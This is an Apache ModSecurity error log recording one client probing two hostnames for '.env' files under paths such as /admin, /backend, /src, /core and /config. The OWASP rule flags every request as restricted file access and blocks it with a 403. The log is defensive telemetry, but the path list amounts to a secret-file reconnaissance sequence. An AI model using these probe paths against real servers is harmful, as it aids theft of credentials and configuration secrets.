[Mon Oct 26 02:13:23.855255 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at7vg5MnyYq70WIUET3r8gAAABc"]
[Mon Oct 26 02:13:24.210480 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9QAAAA4"]
[Mon Oct 26 02:13:24.210711 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9QAAAA4"]
[Mon Oct 26 02:13:24.211046 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9QAAAA4"]
[Mon Oct 26 02:13:24.213518 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhJMnyYq70WIUET3r8wAAABc"]
[Mon Oct 26 02:13:24.389852 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhJMnyYq70WIUET3r8wAAABc"]
[Mon Oct 26 02:13:24.390268 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhJMnyYq70WIUET3r8wAAABc"]
[Mon Oct 26 02:13:24.390314 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhJMnyYq70WIUET3r8wAAABc"]
[Mon Oct 26 02:13:24.390328 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhJMnyYq70WIUET3r8wAAABc"]
[Mon Oct 26 02:13:24.491877 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9gAAAA4"]
[Mon Oct 26 02:13:24.492173 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9gAAAA4"]
[Mon Oct 26 02:13:24.631584 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9gAAAA4"]
[Mon Oct 26 02:13:24.643987 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at7vhJMnyYq70WIUET3r9AAAABc"]
[Mon Oct 26 02:13:24.644301 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at7vhJMnyYq70WIUET3r9AAAABc"]
[Mon Oct 26 02:13:24.644567 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at7vhJMnyYq70WIUET3r9AAAABc"]
[Mon Oct 26 02:13:24.902042 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9wAAAA4"]
[Mon Oct 26 02:13:24.902361 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9wAAAA4"]
[Mon Oct 26 02:13:25.347317 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at7vhMsSJ_JPXSgPpTUB9wAAAA4"]
[Mon Oct 26 02:13:25.154302 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at7vhZMnyYq70WIUET3r9QAAABc"]
[Mon Oct 26 02:13:25.397673 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at7vhZMnyYq70WIUET3r9QAAABc"]
[Mon Oct 26 02:13:25.397992 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at7vhZMnyYq70WIUET3r9QAAABc"]
[Mon Oct 26 02:13:25.589482 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at7vhcsSJ_JPXSgPpTUB-AAAAA4"]
[Mon Oct 26 02:13:25.589706 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at7vhcsSJ_JPXSgPpTUB-AAAAA4"]
[Mon Oct 26 02:13:25.595357 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at7vhcsSJ_JPXSgPpTUB-AAAAA4"]
[Mon Oct 26 02:13:25.635347 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at7vhZMnyYq70WIUET3r9gAAABc"]
[Mon Oct 26 02:13:25.635576 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at7vhZMnyYq70WIUET3r9gAAABc"]
[Mon Oct 26 02:13:25.635888 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at7vhZMnyYq70WIUET3r9gAAABc"]
[Mon Oct 26 02:13:25.814632 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at7vhcsSJ_JPXSgPpTUB-QAAAA4"]
[Mon Oct 26 02:13:25.856825 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at7vhcsSJ_JPXSgPpTUB-QAAAA4"]
[Mon Oct 26 02:13:25.857110 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at7vhcsSJ_JPXSgPpTUB-QAAAA4"]
[Mon Oct 26 02:13:25.855628 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at7vhZMnyYq70WIUET3r9wAAABc"]
[Mon Oct 26 02:13:25.858127 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at7vhZMnyYq70WIUET3r9wAAABc"]
[Mon Oct 26 02:13:25.858357 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at7vhZMnyYq70WIUET3r9wAAABc"]
[Mon Oct 26 02:13:26.280781 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at7vhpMnyYq70WIUET3r-AAAABc"]
[Mon Oct 26 02:13:26.281052 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at7vhpMnyYq70WIUET3r-AAAABc"]
[Mon Oct 26 02:13:26.281323 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at7vhpMnyYq70WIUET3r-AAAABc"]
[Mon Oct 26 02:13:26.342152 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at7vhssSJ_JPXSgPpTUB-gAAAA4"]
[Mon Oct 26 02:13:26.538974 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at7vhssSJ_JPXSgPpTUB-gAAAA4"]
[Mon Oct 26 02:13:26.539315 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at7vhssSJ_JPXSgPpTUB-gAAAA4"]
[Mon Oct 26 02:13:26.540736 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at7vhpMnyYq70WIUET3r-QAAABc"]
